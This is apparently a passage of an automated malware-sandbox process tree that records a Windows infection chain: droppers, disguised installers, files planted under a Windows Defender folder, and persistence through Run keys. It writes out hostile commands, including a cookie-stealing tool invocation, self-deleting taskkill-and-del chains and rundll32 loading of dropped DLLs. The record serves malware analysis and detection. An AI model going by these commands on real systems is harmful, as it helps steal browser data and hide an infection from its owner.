                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff9873c6e00,0x7ff9873c6e10,0x7ff9873c6e20
                                                                                                                                                                                                                                18⤵
                                                                                                                                                                                                                                  PID:11624
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1588,3897783530269781164,3152255633913750632,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1600 /prefetch:8
                                                                                                                                                                                                                                  18⤵
                                                                                                                                                                                                                                    PID:9648
                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qasft0lx.gou\toolspab1.exe & exit
                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                PID:204
                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                                    PID:4216
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\qasft0lx.gou\toolspab1.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\qasft0lx.gou\toolspab1.exe
                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                    PID:7624
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\qasft0lx.gou\toolspab1.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\qasft0lx.gou\toolspab1.exe
                                                                                                                                                                                                                                      17⤵
                                                                                                                                                                                                                                        PID:9568
                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\upovoafd.1s2\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                                      PID:5792
                                                                                                                                                                                                                            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
                                                                                                                                                                                                                              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:6564
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-OUIB6.tmp\LabPicV3.tmp
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-OUIB6.tmp\LabPicV3.tmp" /SL5="$70056,136934,53248,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                PID:6756
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-A1UVM.tmp\alpATCHInO.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-A1UVM.tmp\alpATCHInO.exe" /S /UID=lab214
                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                  • Drops file in Drivers directory
                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                  PID:4928
                                                                                                                                                                                                                                  • C:\Program Files\Windows Defender\YMHSHHJQSA\prolab.exe
                                                                                                                                                                                                                                    "C:\Program Files\Windows Defender\YMHSHHJQSA\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    PID:6192
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-JPLKM.tmp\prolab.tmp
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-JPLKM.tmp\prolab.tmp" /SL5="$803A4,575243,216576,C:\Program Files\Windows Defender\YMHSHHJQSA\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                                                      PID:4904
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8d-d553e-9e8-5609f-b39225ffe5091\Xeloshohaefo.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\8d-d553e-9e8-5609f-b39225ffe5091\Xeloshohaefo.exe"
                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                                                                                    PID:4900
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\5e-07746-1ff-206a3-d05fe8ed7c86e\Nojazhedypae.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\5e-07746-1ff-206a3-d05fe8ed7c86e\Nojazhedypae.exe"
                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    PID:644
                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ez3bhsvr.xmh\gaooo.exe & exit
                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                        PID:11392
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\ez3bhsvr.xmh\gaooo.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\ez3bhsvr.xmh\gaooo.exe
                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                            PID:11928
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                              17⤵
                                                                                                                                                                                                                                                PID:5280
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                17⤵
                                                                                                                                                                                                                                                  PID:8964
                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\br2lj21r.e3h\jg8_8qyu.exe & exit
                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                PID:12236
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\br2lj21r.e3h\jg8_8qyu.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\br2lj21r.e3h\jg8_8qyu.exe
                                                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                                                  • Checks whether UAC is enabled
                                                                                                                                                                                                                                                  PID:8072
                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hcectlhq.fos\google-game.exe & exit
                                                                                                                                                                                                                                                15⤵
                                                                                                                                                                                                                                                  PID:8700
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\hcectlhq.fos\google-game.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\hcectlhq.fos\google-game.exe
                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                    PID:9308
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\rundll32.exe" "C:\Program Files\pdfsetup.dll",install
                                                                                                                                                                                                                                                      17⤵
                                                                                                                                                                                                                                                        PID:5348
                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mwzuffn5.b12\Sabor.exe & exit
                                                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                                                      PID:10016
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\mwzuffn5.b12\Sabor.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\mwzuffn5.b12\Sabor.exe
                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                          PID:7728
                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jq4fhhsp.jfj\BarSetpFile.exe /silent & exit
                                                                                                                                                                                                                                                        15⤵
                                                                                                                                                                                                                                                          PID:11356
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\jq4fhhsp.jfj\BarSetpFile.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\jq4fhhsp.jfj\BarSetpFile.exe /silent
                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                              PID:8516
                                                                                                                                                                                                                                                              • C:\ProgramData\2677765.exe
                                                                                                                                                                                                                                                                "C:\ProgramData\2677765.exe"
                                                                                                                                                                                                                                                                17⤵
                                                                                                                                                                                                                                                                  PID:7680
                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jvbxvvsx.tpc\wwfvd.exe & exit
                                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                                PID:7360
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jvbxvvsx.tpc\wwfvd.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jvbxvvsx.tpc\wwfvd.exe
                                                                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                  PID:10112
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im wwfvd.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\jvbxvvsx.tpc\wwfvd.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                    17⤵
                                                                                                                                                                                                                                                                      PID:12196
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /im wwfvd.exe /f
                                                                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:7852
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                        timeout /t 6
                                                                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                        PID:12208
                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eeyfp1ix.nx4\askinstall31.exe & exit
                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                    PID:10988
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\eeyfp1ix.nx4\askinstall31.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\eeyfp1ix.nx4\askinstall31.exe
                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                        PID:11756
                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zbspdu2a.eq4\toolspab1.exe & exit
                                                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                                                        PID:11836
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\zbspdu2a.eq4\toolspab1.exe
                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\zbspdu2a.eq4\toolspab1.exe
                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                          PID:7772
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\zbspdu2a.eq4\toolspab1.exe
                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\zbspdu2a.eq4\toolspab1.exe
                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                              PID:10616
                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mz5yvhvd.ckd\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                                                            PID:11296
                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe
                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe"
                                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                                      PID:6556
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\YTJ55FSXB4\multitimer.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\YTJ55FSXB4\multitimer.exe" 0 306065bb10421b26.04333812 0 103
                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                          PID:6044
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\YTJ55FSXB4\multitimer.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\YTJ55FSXB4\multitimer.exe" 1 3.1618032624.607137f00427d 103
                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                                                                                                                            PID:3904
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\YTJ55FSXB4\multitimer.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\YTJ55FSXB4\multitimer.exe" 2 3.1618032624.607137f00427d
                                                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                              • Checks for any installed AV software in registry
                                                                                                                                                                                                                                                                              PID:5036
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\rs00kqymfao\Setup3310.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\rs00kqymfao\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                                                                                                                15⤵
                                                                                                                                                                                                                                                                                  PID:6100
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-D34UB.tmp\Setup3310.tmp
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-D34UB.tmp\Setup3310.tmp" /SL5="$80382,138429,56832,C:\Users\Admin\AppData\Local\Temp\rs00kqymfao\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                                      PID:4136
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-PSMHU.tmp\Setup.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-PSMHU.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                                                                                                                        17⤵
                                                                                                                                                                                                                                                                                          PID:6728
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\q005ditvsvc\pns1ixyxawe.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\q005ditvsvc\pns1ixyxawe.exe" /ustwo INSTALL
                                                                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                                                                        PID:7440
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 648
                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:9400
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 696
                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:10824
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 772
                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:7300
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 812
                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:7224
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 892
                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:9376
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 928
                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:12272
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 1176
                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:9248
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 1188
                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:9908
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 1280
                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:9916
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 1272
                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:6164
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\u2zovy5bhl1\app.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\u2zovy5bhl1\app.exe" /8-23
                                                                                                                                                                                                                                                                                        15⤵
                                                                                                                                                                                                                                                                                          PID:11324
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\u2zovy5bhl1\app.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\u2zovy5bhl1\app.exe" /8-23
                                                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                            PID:8924
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\menfcy04t4y\vpn.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\menfcy04t4y\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                                                                            PID:11696
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-J7GPI.tmp\vpn.tmp
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-J7GPI.tmp\vpn.tmp" /SL5="$305EC,15170975,270336,C:\Users\Admin\AppData\Local\Temp\menfcy04t4y\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                              16⤵
                                                                                                                                                                                                                                                                                                PID:11768
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\C1DGBEYU23\setups.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\C1DGBEYU23\setups.exe" ll
                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        PID:6984
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-19JTT.tmp\setups.tmp
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-19JTT.tmp\setups.tmp" /SL5="$30354,1873631,71168,C:\Users\Admin\AppData\Local\Temp\C1DGBEYU23\setups.exe" ll
                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                          PID:7116
                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"
                                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                      PID:6548
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                          PID:6148
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                            PID:5620
                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\EIWNPZWleLKv.exe
                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\EIWNPZWleLKv.exe"
                                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                        PID:6632
                                                                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                            PID:5036
                                                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                                              PID:1204
                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Raw4vpn.exe
                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Raw4vpn.exe"
                                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                            PID:6624
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\dllhost.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\dllhost.exe"
                                                                                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                                                                                PID:4068
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Congiunte.vstx
                                                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                PID:4936
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                                                                                    PID:6508
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\4ewib4wkbzl\355j4desvqp.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\4ewib4wkbzl\355j4desvqp.exe"
                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          PID:4724
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\4ewib4wkbzl\355j4desvqp.exe"
                                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                                              PID:2264
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                                ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                                                                                                                                PID:3796
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\yvdaectdujn\app.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\yvdaectdujn\app.exe" /8-23
                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                            PID:5144
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\yvdaectdujn\app.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\yvdaectdujn\app.exe" /8-23
                                                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                              PID:6708
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\jcgbforhf1e\vpn.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\jcgbforhf1e\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                            PID:5128
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-27U2D.tmp\vpn.tmp
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-27U2D.tmp\vpn.tmp" /SL5="$20430,15170975,270336,C:\Users\Admin\AppData\Local\Temp\jcgbforhf1e\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                              • Loads dropped DLL
